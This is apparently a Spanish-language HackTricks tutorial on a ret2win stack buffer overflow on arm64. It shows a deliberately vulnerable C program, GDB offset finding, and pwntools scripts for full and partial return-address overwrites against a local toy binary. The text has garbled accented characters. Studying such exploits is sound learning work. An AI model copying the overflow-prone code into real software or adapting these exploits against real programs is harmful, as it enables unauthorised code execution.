# Ret2win - arm64
{% hint style="success" %}
Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks
* Revisa los [**planes de suscripci贸n**](https://github.com/sponsors/carlospolop)!
* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %}
Encuentra una introducci贸n a arm64 en:
{% content-ref url="../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %}
[arm64-basic-assembly.md](../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md)
{% endcontent-ref %}
## C贸digo
```c
#include
#include
void win() {
printf("Congratulations!\n");
}
void vulnerable_function() {
char buffer[64];
read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
}
int main() {
vulnerable_function();
return 0;
}
```
Compilar sin pie y canario:
```bash
clang -o ret2win ret2win.c -fno-stack-protector -Wno-format-security -no-pie
```
## Encontrar el desplazamiento
### Opci贸n de patr贸n
Este ejemplo fue creado usando [**GEF**](https://github.com/bata24/gef):
Inicia gdb con gef, crea un patr贸n y 煤salo:
```bash
gdb -q ./ret2win
pattern create 200
run
```
arm64 intentar谩 regresar a la direcci贸n en el registro x30 (que fue comprometido), podemos usar eso para encontrar el desplazamiento del patr贸n:
```bash
pattern search $x30
```
**El desplazamiento es 72 (9x48).**
### Opci贸n de desplazamiento de pila
Comience obteniendo la direcci贸n de la pila donde se almacena el registro pc:
```bash
gdb -q ./ret2win
b *vulnerable_function + 0xc
run
info frame
```
Ahora establece un punto de interrupci贸n despu茅s del `read()` y contin煤a hasta que se ejecute el `read()` y establece un patr贸n como 13371337:
```
b *vulnerable_function+28
c
```
Encuentra d贸nde se almacena este patr贸n en la memoria:
Luego: **`0xfffffffff148 - 0xfffffffff100 = 0x48 = 72`**
## No PIE
### Regular
Obt茅n la direcci贸n de la funci贸n **`win`**:
```bash
objdump -d ret2win | grep win
ret2win: file format elf64-littleaarch64
00000000004006c4 :
```
Explotar:
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p64(0x00000000004006c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
```
### Off-by-1
En realidad, esto va a ser m谩s como un off-by-2 en el PC almacenado en la pila. En lugar de sobrescribir toda la direcci贸n de retorno, vamos a sobrescribir **solo los 煤ltimos 2 bytes** con `0x06c4`.
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x06c4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
```
Puedes encontrar otro ejemplo de off-by-one en ARM64 en [https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-9-exploiting-an-off-by-one-overflow-vulnerability/), que es un verdadero off-by-**one** en una vulnerabilidad ficticia.
## Con PIE
{% hint style="success" %}
Compila el binario **sin el argumento `-no-pie`**
{% endhint %}
### Off-by-2
Sin un leak no sabemos la direcci贸n exacta de la funci贸n ganadora, pero podemos conocer el desplazamiento de la funci贸n desde el binario y sabiendo que la direcci贸n de retorno que estamos sobrescribiendo ya apunta a una direcci贸n cercana, es posible obtener el desplazamiento a la funci贸n ganadora (**0x7d4**) en este caso y simplemente usar ese desplazamiento:
```python
from pwn import *
# Configuration
binary_name = './ret2win'
p = process(binary_name)
# Prepare the payload
offset = 72
ret2win_addr = p16(0x07d4)
payload = b'A' * offset + ret2win_addr
# Send the payload
p.send(payload)
# Check response
print(p.recvline())
p.close()
```
{% hint style="success" %}
Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Apoya a HackTricks
* Revisa los [**planes de suscripci贸n**](https://github.com/sponsors/carlospolop)!
* **脷nete al** 馃挰 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **s铆guenos** en **Twitter** 馃惁 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
{% endhint %}
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
.png)
[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)
[**HackTricks Training GCP Red Team Expert (GRTE)**